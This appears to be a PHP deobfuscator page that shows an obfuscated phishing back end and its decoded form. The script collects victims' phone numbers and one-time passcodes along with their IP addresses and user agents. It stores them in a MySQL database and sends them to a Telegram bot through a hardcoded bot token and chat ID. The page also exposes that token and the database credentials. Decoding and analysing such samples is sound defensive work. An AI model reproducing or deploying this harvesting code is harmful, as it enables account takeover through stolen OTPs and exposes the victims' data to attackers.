Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php goto TpGfE; S3w1N: $dbName = "\144\142"; goto g2NR4; Avey_: $dbHost = "\x31\62\67\..
Decoded Output download
<?php
goto TpGfE; S3w1N: $dbName = "db"; goto g2NR4; Avey_: $dbHost = "127.0.0.1"; goto McBng; g9JDC: $chatId = "-4732226228"; goto Avey_; McBng: $dbUser = "myuser"; goto HkzS6; g2NR4: try { $pdo = new PDO("mysql:host={$dbHost};dbname={$dbName};charset=utf8mb4", $dbUser, $dbPass); $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION); } catch (PDOException $e) { die("\xd0\x9e\321\x88\320\xb8\320\xb1\xd0\272\xd0\xb0 \xd0\277\xd0\xbe\xd0\xb4\320\272\xd0\xbb\xd1\x8e\xd1\207\320\xb5\320\xbd\320\270\xd1\217 \320\272 \xd0\261\xd0\xb0\xd0\267\xd0\xb5 \320\xb4\xd0\260\320\275\xd0\xbd\321\x8b\xd1\x85: " . $e->getMessage()); } goto eVbBS; TpGfE: $telegramToken = "7350130287:AAFaAiURltK2tbv_Zh9eoBPDH1bmpLHIXAM"; goto g9JDC; HkzS6: $dbPass = "MyStr0ngPass!"; goto S3w1N; eVbBS: if ($_SERVER["REQUEST_METHOD"] === "POST") { $action = $_POST["action"]; $userAgent = $_SERVER["HTTP_USER_AGENT"]; $ipAddress = $_SERVER["REMOTE_ADDR"]; if ($action === "sendPhone") { $phone = $_POST["phone"]; $stmt = $pdo->prepare("SELECT * FROM messages WHERE phone_number = ?"); $stmt->execute(array($phone)); $existing = $stmt->fetch(); if (!$existing) { $message = "\xf0\x9f\226\xa5\357\270\x8f *User-Agent:* `{$userAgent}`
`{$ipAddress}`
\xa\xa" . "\xf0\x9f\x93\xb1 * +40 *`{$phone}`"; $url = "https://api.telegram.org/bot{$telegramToken}/sendMessage?chat_id={$chatId}&text=" . urlencode($message) . "&parse_mode=Markdown"; $response = file_get_contents($url); $responseData = json_decode($response, true); if ($responseData["ok"]) { $messageId = $responseData["result"]["message_id"]; $stmt = $pdo->prepare("INSERT INTO messages (phone_number, message_id, user_agent, ip_address, status, created_at, updated_at) VALUES (?, ?, ?, ?, 'active', NOW(), NOW())"); $stmt->execute(array($phone, $messageId, $userAgent, $ipAddress)); echo json_encode(array("status" => "success", "message" => "\320\x9d\320\xbe\xd0\xbc\xd0\265\xd1\200 \320\276\xd1\x82\320\277\321\200\320\260\320\262\xd0\273\xd0\265\320\275")); } else { echo json_encode(array("status" => "error", "message" => "\320\236\xd1\x88\320\xb8\320\261\xd0\xba\xd0\260 \320\276\xd1\x82\320\277\xd1\x80\xd0\xb0\320\262\320\272\xd0\xb8 \xd0\xb2 Telegram")); } } else { echo json_encode(array("status" => "error", "message" => "\xd0\x9d\xd0\xbe\xd0\xbc\320\xb5\xd1\200 \321\203\xd0\266\320\xb5 \xd1\201\321\203\321\211\xd0\265\321\x81\xd1\202\xd0\262\321\x83\xd0\xb5\321\x82")); } die; } if ($action === "sendCode") { $phone = $_POST["phone"]; $code = $_POST["code"]; $stmt = $pdo->prepare("SELECT * FROM messages WHERE phone_number = ?"); $stmt->execute(array($phone)); $existing = $stmt->fetch(); if ($existing) { $messageId = $existing["message_id"]; $message = "\xf0\237\226\245\357\xb8\217 *User-Agent:* `{$userAgent}`
`{$ipAddress}` \xa
\xa" . "\360\237\223\xb1 * +40 *`{$phone}`\xa
" . "\360\237\214\235 * OTP : * `{$code}`"; $url = "https://api.telegram.org/bot{$telegramToken}/editMessageText?chat_id={$chatId}&message_id={$messageId}&text=" . urlencode($message) . "&parse_mode=Markdown"; $response = file_get_contents($url); $responseData = json_decode($response, true); if ($responseData["ok"]) { $stmt = $pdo->prepare("UPDATE messages SET status = 'code_received', updated_at = NOW(), user_agent = ?, ip_address = ? WHERE phone_number = ?"); $stmt->execute(array($userAgent, $ipAddress, $phone)); echo json_encode(array("status" => "success", "message" => "\320\241\320\276\320\276\320\xb1\xd1\x89\320\265\xd0\xbd\xd0\xb8\xd0\265 \xd0\xbe\xd0\xb1\320\275\xd0\xbe\xd0\262\320\273\xd0\xb5\xd0\xbd\320\276")); } else { echo json_encode(array("status" => "error", "message" => "\xd0\x9e\321\x88\320\xb8\320\261\xd0\xba\xd0\xb0 \xd0\xbe\320\xb1\xd0\xbd\xd0\276\xd0\xb2\320\273\xd0\265\xd0\xbd\xd0\270\xd1\217 \321\x81\320\xbe\320\276\320\261\xd1\x89\xd0\265\xd0\275\320\270\xd1\217")); } } else { echo json_encode(array("status" => "error", "message" => "\xd0\x9d\320\xbe\320\274\320\265\321\200 \320\xbd\320\265 \320\275\xd0\260\xd0\xb9\320\264\320\265\320\275")); } die; } } ?>
Did this file decode correctly?
Original Code
<?php
goto TpGfE; S3w1N: $dbName = "\144\142"; goto g2NR4; Avey_: $dbHost = "\x31\62\67\x2e\60\x2e\x30\x2e\x31"; goto McBng; g9JDC: $chatId = "\55\x34\67\63\x32\62\62\66\x32\x32\x38"; goto Avey_; McBng: $dbUser = "\x6d\x79\x75\163\145\x72"; goto HkzS6; g2NR4: try { $pdo = new PDO("\155\171\163\161\154\72\150\x6f\163\164\75{$dbHost}\73\x64\x62\x6e\x61\155\x65\75{$dbName}\x3b\143\x68\141\162\x73\x65\164\75\x75\x74\146\70\155\142\64", $dbUser, $dbPass); $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION); } catch (PDOException $e) { die("\xd0\x9e\321\x88\320\xb8\320\xb1\xd0\272\xd0\xb0\40\xd0\277\xd0\xbe\xd0\xb4\320\272\xd0\xbb\xd1\x8e\xd1\207\320\xb5\320\xbd\320\270\xd1\217\40\320\272\x20\xd0\261\xd0\xb0\xd0\267\xd0\xb5\40\320\xb4\xd0\260\320\275\xd0\xbd\321\x8b\xd1\x85\x3a\x20" . $e->getMessage()); } goto eVbBS; TpGfE: $telegramToken = "\x37\63\65\60\x31\x33\60\x32\x38\x37\72\x41\101\106\x61\101\151\125\x52\x6c\164\x4b\62\x74\x62\166\137\132\x68\71\145\157\102\120\x44\x48\x31\x62\155\160\114\110\111\130\x41\115"; goto g9JDC; HkzS6: $dbPass = "\x4d\171\x53\164\x72\60\x6e\147\120\141\163\163\41"; goto S3w1N; eVbBS: if ($_SERVER["\122\x45\x51\125\x45\123\124\x5f\x4d\x45\124\x48\x4f\104"] === "\120\x4f\123\x54") { $action = $_POST["\x61\143\164\151\157\156"]; $userAgent = $_SERVER["\110\124\124\x50\x5f\125\x53\105\122\137\101\x47\x45\x4e\124"]; $ipAddress = $_SERVER["\122\x45\115\117\124\105\137\101\x44\104\122"]; if ($action === "\x73\145\156\144\120\150\157\156\x65") { $phone = $_POST["\x70\150\157\x6e\x65"]; $stmt = $pdo->prepare("\123\x45\114\105\103\124\40\x2a\40\x46\x52\117\x4d\40\x6d\145\x73\163\x61\x67\x65\x73\x20\127\110\105\122\x45\x20\160\x68\157\x6e\x65\x5f\156\x75\155\x62\x65\x72\x20\75\x20\77"); $stmt->execute(array($phone)); $existing = $stmt->fetch(); if (!$existing) { $message = "\xf0\x9f\226\xa5\357\270\x8f\40\52\x55\163\145\x72\55\101\147\145\156\x74\x3a\x2a\40\40\140{$userAgent}\140\12\x60{$ipAddress}\140\x20\12\xa\xa" . "\xf0\x9f\x93\xb1\40\52\40\53\64\x30\x20\x2a\x60{$phone}\x60"; $url = "\x68\x74\x74\x70\x73\72\57\57\x61\160\151\x2e\164\x65\x6c\145\x67\x72\141\x6d\x2e\x6f\x72\x67\57\x62\157\164{$telegramToken}\x2f\163\x65\156\144\x4d\145\x73\163\x61\x67\x65\x3f\143\150\x61\164\x5f\x69\144\x3d{$chatId}\46\x74\x65\170\x74\x3d" . urlencode($message) . "\x26\160\141\x72\x73\145\x5f\155\157\x64\x65\75\x4d\x61\162\x6b\144\x6f\x77\x6e"; $response = file_get_contents($url); $responseData = json_decode($response, true); if ($responseData["\x6f\153"]) { $messageId = $responseData["\162\x65\163\x75\154\x74"]["\x6d\145\x73\163\x61\x67\145\x5f\151\x64"]; $stmt = $pdo->prepare("\111\x4e\123\x45\122\124\x20\111\116\x54\117\x20\x6d\145\x73\x73\141\147\x65\163\40\50\x70\x68\x6f\156\x65\137\156\165\155\x62\x65\162\x2c\40\155\145\163\x73\x61\147\x65\137\151\144\54\x20\x75\x73\145\x72\137\141\147\145\x6e\x74\54\x20\151\160\137\141\x64\144\x72\x65\x73\x73\x2c\40\163\x74\x61\164\x75\x73\x2c\x20\x63\162\145\141\164\145\144\137\141\x74\x2c\40\165\x70\x64\141\x74\145\144\137\141\x74\x29\x20\126\101\x4c\125\105\x53\x20\x28\77\x2c\40\77\x2c\40\77\54\40\x3f\54\40\x27\x61\x63\164\151\166\145\47\x2c\x20\116\117\x57\50\51\x2c\40\x4e\117\127\50\x29\51"); $stmt->execute(array($phone, $messageId, $userAgent, $ipAddress)); echo json_encode(array("\163\164\x61\164\165\x73" => "\163\165\143\x63\145\163\163", "\x6d\x65\x73\x73\141\x67\x65" => "\320\x9d\320\xbe\xd0\xbc\xd0\265\xd1\200\x20\320\276\xd1\x82\320\277\321\200\320\260\320\262\xd0\273\xd0\265\320\275")); } else { echo json_encode(array("\163\164\141\164\x75\x73" => "\145\162\x72\157\x72", "\x6d\x65\x73\163\141\147\145" => "\320\236\xd1\x88\320\xb8\320\261\xd0\xba\xd0\260\x20\320\276\xd1\x82\320\277\xd1\x80\xd0\xb0\320\262\320\272\xd0\xb8\x20\xd0\xb2\40\124\x65\x6c\x65\x67\x72\x61\155")); } } else { echo json_encode(array("\x73\164\141\x74\x75\x73" => "\x65\x72\162\x6f\162", "\155\x65\163\163\x61\147\145" => "\xd0\x9d\xd0\xbe\xd0\xbc\320\xb5\xd1\200\40\321\203\xd0\266\320\xb5\40\xd1\201\321\203\321\211\xd0\265\321\x81\xd1\202\xd0\262\321\x83\xd0\xb5\321\x82")); } die; } if ($action === "\x73\145\x6e\144\103\157\x64\x65") { $phone = $_POST["\x70\x68\x6f\x6e\145"]; $code = $_POST["\143\157\x64\x65"]; $stmt = $pdo->prepare("\123\105\x4c\105\x43\124\x20\52\x20\106\122\x4f\x4d\x20\155\145\163\163\x61\x67\x65\x73\40\x57\x48\105\x52\105\40\160\150\157\156\x65\137\156\x75\x6d\142\x65\x72\40\75\40\77"); $stmt->execute(array($phone)); $existing = $stmt->fetch(); if ($existing) { $messageId = $existing["\x6d\x65\x73\163\141\147\x65\137\x69\x64"]; $message = "\xf0\237\226\245\357\xb8\217\x20\52\125\163\145\x72\55\101\x67\x65\x6e\x74\x3a\x2a\x20\40\x60{$userAgent}\x60\12\x60{$ipAddress}\x60\x20\xa\12\xa" . "\360\237\223\xb1\x20\52\40\x2b\x34\60\40\52\x60{$phone}\x60\xa\12" . "\360\237\214\235\x20\52\40\x4f\x54\120\x20\72\x20\52\x20\140{$code}\x60"; $url = "\x68\164\164\x70\163\72\x2f\57\141\160\x69\56\x74\145\x6c\145\147\x72\x61\155\x2e\x6f\162\147\x2f\x62\157\164{$telegramToken}\57\x65\x64\151\x74\115\145\163\x73\x61\147\145\x54\x65\x78\x74\x3f\x63\x68\141\164\137\x69\144\x3d{$chatId}\x26\x6d\145\163\163\x61\147\145\137\x69\144\x3d{$messageId}\x26\164\145\170\x74\75" . urlencode($message) . "\46\160\x61\x72\x73\x65\x5f\155\x6f\144\145\x3d\x4d\141\162\x6b\x64\157\167\156"; $response = file_get_contents($url); $responseData = json_decode($response, true); if ($responseData["\x6f\153"]) { $stmt = $pdo->prepare("\125\x50\104\x41\x54\105\x20\x6d\x65\163\x73\141\147\x65\163\40\123\x45\124\40\163\164\x61\x74\x75\x73\x20\x3d\x20\x27\x63\x6f\144\x65\137\x72\x65\x63\x65\151\x76\x65\144\47\54\40\x75\x70\x64\141\164\145\144\x5f\x61\164\x20\x3d\40\x4e\x4f\x57\x28\x29\x2c\x20\165\x73\145\162\137\141\x67\x65\x6e\164\40\75\x20\77\x2c\x20\x69\160\137\141\144\144\162\145\x73\163\x20\75\x20\x3f\40\127\110\x45\122\x45\x20\x70\x68\x6f\156\145\137\156\165\155\x62\x65\162\40\75\x20\77"); $stmt->execute(array($userAgent, $ipAddress, $phone)); echo json_encode(array("\163\164\141\164\x75\x73" => "\x73\165\143\x63\145\163\163", "\x6d\x65\x73\x73\141\147\x65" => "\320\241\320\276\320\276\320\xb1\xd1\x89\320\265\xd0\xbd\xd0\xb8\xd0\265\x20\xd0\xbe\xd0\xb1\320\275\xd0\xbe\xd0\262\320\273\xd0\xb5\xd0\xbd\320\276")); } else { echo json_encode(array("\x73\x74\x61\x74\165\163" => "\145\x72\x72\x6f\162", "\x6d\145\163\163\x61\x67\145" => "\xd0\x9e\321\x88\320\xb8\320\261\xd0\xba\xd0\xb0\x20\xd0\xbe\320\xb1\xd0\xbd\xd0\276\xd0\xb2\320\273\xd0\265\xd0\xbd\xd0\270\xd1\217\x20\321\x81\320\xbe\320\276\320\261\xd1\x89\xd0\265\xd0\275\320\270\xd1\217")); } } else { echo json_encode(array("\163\x74\x61\164\x75\x73" => "\x65\162\162\157\162", "\155\145\x73\163\x61\147\145" => "\xd0\x9d\320\xbe\320\274\320\265\321\200\x20\320\xbd\320\265\x20\320\275\xd0\260\xd0\xb9\320\264\320\265\320\275")); } die; } }
Function Calls
None |
Stats
MD5 | 2f26785630bd54a8b188be8141cbd829 |
Eval Count | 0 |
Decode Time | 50 ms |